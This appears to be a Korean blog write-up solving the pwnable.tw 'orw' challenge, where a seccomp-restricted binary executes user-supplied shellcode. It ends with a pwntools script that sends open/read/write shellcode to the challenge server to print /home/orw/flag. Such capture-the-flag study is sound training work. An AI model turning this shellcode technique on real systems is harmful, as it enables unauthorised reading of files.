[pwnable.tw]orw

HITCON-Training에서 풀었었는데 거기서 나온 문제랑 똑같은 문제이다.

seccomp가 사용되서 open,read,write 빼고 다른 syscall은 사용할 수 없다.

/home/orw/flag 파일을 읽어오면 된다고 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 200u);
  (shellcode)();
  return 0;
}

코드를 보면 내가 입력한 shellcode를 실행해준다.

그냥 shellcoding해주면 된다.

- stack 최상위에 저 문자열을 넣어준다.

- esp는 스택의 최상단 데이터를 가르키는 포인터니까 /home/orw/flag를 open()해준다.

- open()을 실행했으니 fd값이 eax에 담겨있을 것이다. 그리고 esp(/home/orw/flag)를 100바이트만큼 읽어은걸 esp에 저장한다.

- write() 함수로 stdout으로 esp(읽은 파일의 내용)의 내용을 출력해준다.

from pwn import *
 
p = remote('chall.pwnable.tw',10001)
 
pay = asm(shellcraft.pushstr('/home/orw/flag'))
pay += asm(shellcraft.open('esp',0,0))
pay += asm(shellcraft.read('eax','esp','100'))
pay += asm(shellcraft.write('1','esp','100'))
p.sendlineafter(':',pay)
 
p.interactive()